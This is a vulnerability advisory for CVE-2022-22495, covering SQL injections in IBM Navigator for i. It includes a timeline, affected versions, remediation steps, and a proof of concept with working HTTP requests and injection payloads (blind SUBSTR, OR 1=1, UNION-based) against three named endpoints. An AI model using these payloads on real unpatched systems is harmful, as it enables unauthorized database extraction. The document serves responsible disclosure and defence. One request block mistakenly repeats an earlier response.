IBM Navigator for i - Multiple SQL injections

CVE-2022-22495

    Type

  • SQL injection
  • Severity

  • Medium
  • Affected products

  • IBM Navigator for i
  • Remediation

  • Apply the relevant PTF provided by IBM. The impact can be lowered by minimizing the privileges given to user with access to IBM Navigator for i.
  • Credits

  • Vulnerabilities discovered by Anders Lundman of WithSecure Labs and WithSecure Consulting.
  • References

  • Security Bulletin: IBM Navigator for i is vulnerable to an SQL injection (CVE-2022-22495)
Timeline
2022-03-18  Vulnerability submission to IBM
2022-05-23  IBM publishes advisory and patch
2022-06-27  WithSecure publishes advisory

Description

During a recent engagement, WithSecure identified multiple SQL-injections in IBM Navigator for i. These injections could allow an authenticated user to bypass access restriction on the application layer to query for information stored in the back-end database. IBM describes Navigator for i as follows: IBM Navigator for i is a modern web-based interface for managing and monitoring one or more IBM i instances securely from a single location. This modern user interface can be accessed from http://hostname:2001 or https://hostname:2010 if running under TLS and the default ports. When users interact with IBM Navigator for i, information displayed in the web application is retrieved from the back end-database to be displayed within the application. User-supplied data was concatenated to database queries without any validation. This enabled an attacker to modify the logic of the queries to retrieve data from the back-end database.

Vulnerable versions of IBM i:

  • IBM i 7.5 - PTF level less than SF99952-01 
  • IBM i 7.4 - PTF level less than SF99662-20 
  • IBM i 7.3 - PTF level less than SF99722-39

Impact

A low privileged authenticated user could obtain data from the back-end database.

Since the database queries will be executed as a specific iSeries user, the data exposed is determined by the access rights of that specific user at the operating system level and the business role of the targeted iSeries host.

Proof of concept

The user provided to WithSecure had sufficient privileges to send a POST-request to the following three endpoints which would result in database queries being made:

  1. http://targetcom:2002/Navigator/DispatcherServlet/basicOperations/getUserMessages?system=targetsystem
  2. http://target.com:2002/Navigator/DispatcherServlet/basicOperations/getUserObjects?system=targetsystem
  3. http://target.com:2002/Navigator/DispatcherServlet/configurationService/getSystemValuesInfo?system=targetsystem

For each of the endpoints it was possible to modify the logic of the query to obtain data using blind SQL-injection techniques.

getUserMessages

The getUserMessages endpoint is used to retrieve messages sent to the user from the back-end database. An unmodified request for the user ANDERS to that end-point has the following structure.

POST /Navigator/DispatcherServlet/basicOperations/getUserMessages?system=targetsystem HTTP/1.1
Host: target.com:2002
Content-Length: 17
Accept: application/json, text/plain, */*
MN: --REDACTED---
Content-Type: application/json
Cookie: --REDACTED---

{"user":"ANDERS"}

A boon to the attacker in Navigator for i is that the SQL-query being executed is returned in the server response.

HTTP/1.1 200 OK
X-Powered-By: Servlet/3.1
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Type: application/json; charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding
Connection: Close
Date: Thu, 24 Feb 2022 15:40:10 GMT
Content-Length: 2033

{"data":{"---CUT FOR BREVITY---,"sqlCmd":"SELECT A.MESSAGE_ID,\n       A.MESSAGE_TYPE,\n       CASE\n           WHEN B.MESSAGE_KEY IS null THEN \u0027NO\u0027\n           ELSE \u0027YES\u0027\n       END AS NEED_REPLY,\n    --- CUT FOR BREVITY--"}

The SQL query being executed is:

SELECT A.MESSAGE_ID,
-- CUT FOR BREVITY--
       MESSAGE_QUEUE_NAME
    FROM qsys2.user_info_basic,
         TABLE (
             QSYS2.MESSAGE_QUEUE_INFO(QUEUE_LIBRARY => MESSAGE_QUEUE_LIBRARY_NAME, QUEUE_NAME >= MESSAGE_QUEUE_NAME)
         ) AS A
         LEFT JOIN TABLE (
                 QSYS2.MESSAGE_QUEUE_INFO(
                     QUEUE_LIBRARY => MESSAGE_QUEUE_LIBRARY_NAME, QUEUE_NAME => MESSAGE_QUEUE_NAME, MESSAGE_FILTER =>'INQUIRY')
             ) AS B
             ON A.MESSAGE_KEY = B.MESSAGE_KEY
    WHERE authorization_name ='ANDERS'
    ORDER BY A.MESSAGE_TIMESTAMP DESC

By injecting ‘ INJECTED QUERY -- into the SQL statement it is possible to alter the query to infer data from the database. While the result of the query will not be returned via the application, the attacker can bypass that limitation using classic techniques for blind SQL-injection. These techniques are based on injecting queries such as SUBSTR((SELECT user FROM sysibm.sysdummy1),1,1)='A' --, which will return True if and only if the first character of the username returned by SELECT user FROM sysibm.sysdummy1 is 'A'. In this case this can be tested by setting the user parameter to

{"user":"INJECT' OR SUBSTR((SELECT user FROM sysibm.sysdummy1),1,1)='A' --"}

and noting that a row set containing all "user messages" will be returned in the server response.

{"data":{"rows":[{"messageQueueLibrary":"QUSRSYS","messageQueueName":"ANDERS","messageId":"","messageType":"INFORMATIONAL","messageSubType":"","messageText":"Messeage to anders","severity":80,"syslogSeverity":0,"messageTimeStamp":"2022-02-22 18:27:34.162840","messageTimeStampInteger":1645551016840,"messageKey":"00000180","messageKeyInt":- ---CUT FOR BREVITY--}.

For comparison setting the parameter to the following

{"user":"INJECT' OR SUBSTR((SELECT user FROM sysibm.sysdummy1),1,1)='Q' --"}

will instead return an empty row set:

{"data":{"rows":[],"sqlCmd":"SELECT A.MESSAGE_ID,--CUT FOR BREIVTY-- }

This technique can be improved by performing a binary search to quickly deduce the value returned by the query, as explained in various places such as the PortSwigger Web Security Accademy.

getSystemValues

The getSystemValues endpoint returns data for the current system. The injection works similarly to the case for getUserMessages.

An unmodified request and response to this end-point is shown below.

Request

POST /Navigator/DispatcherServlet/configurationService/getSystemValuesInfo?system=targetsystem HTTP/1.1
Host: target.com:2002
Content-Length: 18
Accept: application/json, text/plain, */*
MN: --REDACTED--
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ---REDACTED---
Connection: close

{"name":"QAUDCTL"}

Response

HTTP/1.1 200 OK
X-Powered-By: Servlet/3.1
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Type: application/json; charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding
Connection: Close
Date: Wed, 23 Feb 2022 10:34:07 GMT
Content-Length: 193 

{"data":{"rows":[{"name":"QAUDCTL","charValue":"*NOTAVL","numericValue":0}],"sqlCmd":"SELECT *  FROM QSYS2.SYSTEM_VALUE_INFO  WHERE SYSTEM_VALUE_NAME LIKE \u0027%QAUDCTL%\u0027"},"type":"JSON"}

As can be seen, user input is included in the where clause at the end of the statement. To check if the statement can be manipulated, the request body can be set to

{"name": "' OR 1=1 --"}

since this would change the where clause to instead return all rows in the table. The response indicates that this works.

{"data":{"rows":[{"name":"QDECFMT","charValue":"J","numericValue":0},{"name":"QDATFMT","charValue":"YMD","numericValue":0},{"name":"QDATSEP","charValue":"-","numericValue":0},--CUT FOR BREVITY—}

From this point, it is possible to extract all data in the database using the technique described for getUserMessages.

GetUserObjects

The getUserObjects endpoint retrieves data associated with a specified user. An unmodified request and response is included below.

Request

{"data":{"rows":[{"name":"QDECFMT","charValue":"J","numericValue":0},{"name":"QDATFMT","charValue":"YMD","numericValue":0},{"name":"QDATSEP","charValue":"-","numericValue":0},--CUT FOR BREVITY—}

Response

HTTP/1.1 200 OK
X-Powered-By: Servlet/3.1
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Type: application/json; charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding
Connection: Close
Date: Wed, 23 Feb 2022 10:26:19 GMT
Content-Length: 574 

{"data":{"rows":[{"objectName":"ANDERS","---CUT FOR BREVITY---,sqlCmd":"SELECT *\n    FROM TABLE (\n            qsys2.object_ownership(\u0027ANDERS\u0027)\n        )\n    WHERE PATH_NAME IS NULL\n    ORDER BY OBJECT_NAME"},"type":"JSON"}

This corresponds to the following SQL-query.

SELECT *
FROM TABLE (
            qsys2.object_ownership('ANDERS')
        )
 WHERE PATH_NAME IS NULL
ORDER BY OBJECT_NAME

A naïve exploitation attempt would therefore be to inject something similar to the following.

{"user":"ANDERS')) INJECTED --"}

However, such an attempt will gives the following error message:

Error 500: {"returnCode":500,"messageList":[],"sqlMessage”:{--CUT FOR BREVITY--"messageText":"[SQL0104] Token ) was not valid. Valid tokens: \u003cEND-OF-STATEMENT\u003e.","causeText":"A syntax error was detected at token ).  Token ) is not a valid token.  ---CUT FOR BREVITY--

Since the error message states that the SQL syntax is incorrect, the injection did indeed alter the query. However, the attempt to comment out the remainder of the query was not successful due to the existence of line breaks in the query. In practice the symbol “')” that is present on the same line as the injection point is commented out while the “)”-symbol on the following line is still present and raises the error. On closer inspection of the original query it can be seen that the original query also includes an ORDER BY clause at the end. This places the further restriction that if a UNION statement would be injected both tables need to contain the same column names.

To exploit the vulnerability the user parameter can be set to the following:

{
"user":"TRUE')) WHERE 1=1 UNION SELECT * FROM TABLE(qsys2.object_ownership(\u0027FALSE "
}

This results in the following error message:

Error 500: {"returnCode":500,"messageList":[],"sqlMessage":{ --CUT FOR BREVITY--- USER_PROFILE TRUE NOT FOUND.  –CUT FOR BREVITY--}}

If instead the user parameter is set to

{
"user":"TRUE')) WHERE 2=1 UNION SELECT * FROM TABLE(qsys2.object_ownership(\u0027FALSE "
}

then the resulting error message is instead the following:

Error 500: {"returnCode":500,"messageList":[],"sqlMessage”:{--_CUT FOR BREVITY-- USER_PROFILE FALSE  NOT FOUND.  –CUT FOR BREVITY--}

Via the injection, the original statement becomes a UNION of two select statements. When the injected where clause is true the result of the first select statement is used in the subsequent code, while if it is false the result of the second select statement is used. The difference between these cases can again be abused to extract data from the database using standard techniques described beside.